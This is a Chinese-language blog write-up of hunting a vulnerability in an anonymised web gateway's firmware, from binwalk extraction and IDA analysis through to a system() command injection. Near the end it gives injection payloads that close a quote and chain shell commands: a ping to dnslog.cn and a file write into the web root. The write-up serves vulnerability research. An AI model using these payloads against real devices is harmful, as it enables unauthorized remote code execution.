某硬件设备漏洞挖掘之路-Web选手初入"二进制"
某硬件设备漏洞挖掘之路-Web选手初入"二进制"
Author: Yuanhai
遵守相关法律法规,本文不会带有任何厂商标识。
0x01:前言
很早之前就有打算开始往二进制方向发展,但由于基础较差,需要花费大量时间从0开始学习。阅读其他师傅所写的文章受益良多。最有印象的就是忍者师傅所写的《web选手如何快速卷入二进制世界》。简单的二进制应用在IDA的伪代码状态下与日常的WEB应用审计流程基本一致。下面就分享一篇个人初学二进制的挖掘实践。
0x02:正文
此次挖掘的目标系统是一个硬件设备(Web应用网关),通过官方服务中心拿到了更新的固件包(.BIN文件)。然后使用Binwalk对固件进行提取
python -m binwalk -Me ****.bin
这里使用的是windows环境下的命令
提取出来的文件会放在当前目录下以_(文件名)开头的新建文件夹中
在某个目录下发现了一个.cpio
文件,大小为164MB
,(cpio
也属于一种压缩文件)
在windows下可以使用7-zip
解压其中的文件。
看见etc,dev等目录大概就明白了这是Unix系统文件。
根据网关默认的页面查找到了Web程序所在的目录。
此目录下仅有一些html页面,以及一些静态资源文件。并没有功能处理文件。
查看相关配置文件,该网关应用使用lighttpd
+FastCGI
环境搭建。
所有请求都交给main_req
文件进行处理。程序根目录为/var/local/web/htdocs
找到此文件,发现是一个系统执行文件
将其拖入IDA中。由于不太清楚程序架构,搜索带有Login字符的相关处理方法,使用F5查看伪代码。根据前端传入的参数进行对比。确定最终的处理方法。
前端传递参数只有user_name
,password
,language
三个参数
与login_req_proc
方法逻辑相同。
到了这里基本流程就和Web中代码审计一致了.相比java中的获取请求参数方法request.getParameter
。在图中一眼就可以看出。程序使用http_parameter_get
获取http协议提交过来的数据。
if ( http_parameter_get("user_name", &src)//获取参数user_name赋值给src
|| http_parameter_getint("language", &v23)//获取int类型的参数language赋值给v23
|| http_parameter_get("password", &v24)//获取password参数赋值给v24
|| v23 >= 2 )
{如果上文有一个参数为空,且v23(language的值大于或等于2时)
resultpage_redirect("/login.html", &unk_4198F8, &unk_4198F8);
//直接重定向到login.html并返回200
return 200;
}
根据以上流程查找存在使用http_parameter_get
的方法,确定sink
在IDA中,单击需要查找的方法,使用快捷键X
依次审计存在使用http_parameter_get
的事件方法。
通过审计发现并没有一些调用敏感函数的利用点。
比较疑惑?在审计中发现存在调用的方法只有少数,正常的应用程序应该不只这么点功能。
继续分析,在xxx_server()
方法中发现了一些其他内容。
应用在启动时,会加载files下的一些模块
而模块中的_display.xml文件中声明了功能路径以及处理方法。
使用parserMapping对xml中的内容进行处理
如:
<display>
<disp_url>version_save</disp_url>
<template>download.xml</template>
<user_file>system.so</user_file>
<pre_transform>save_pre_translate</pre_transform>
<post_transform>save_post_translate</post_transform>
<transform>save_translate_value</transform>
</display>
disp_url
为该方法的请求路径,template
为返回的响应模板,user_file
为方法所在的程序函数库,transform
为处理路径请求的方法。可以单独为不同的请求设置不同的处理方法。
在了解相关程序结构后,后续挖掘就更加方便了。
对每一个模块中程序函数库进行审计分析。最终在某一处发现了存在调用system()
且参数可控。造成命令执行 。
。
方法中,使用http_parameter_get
接受参数A,在下方26行,以及41均有调用System()
。在24行中,system
方法执行了变量v13
的内容。而变量v13的值由snprintf
格式化变量v8(参数a)的值由来。其中的参数a内容是可控的。那么就可以构造payload
。
由于这里使用的sed命令,%s对v8变量的值格式化,拼接内容在单引号之间,需要加个单引号闭合掉。
payload:
'111''||ping dnslog.cn||
发送http请求,测试dnslog。这类设备基本都是默认路径。尝试在web目录下写一个txt文件测试。
payload:
'111''||echo 1 > /var/local/web/htdocs/1.txt||'"
完成rce!
很早以前 有个大师傅给我讲 要学java,说实在的java 很难啃。后面这个大师傅又给我说 二进制才是安全的未来,卒。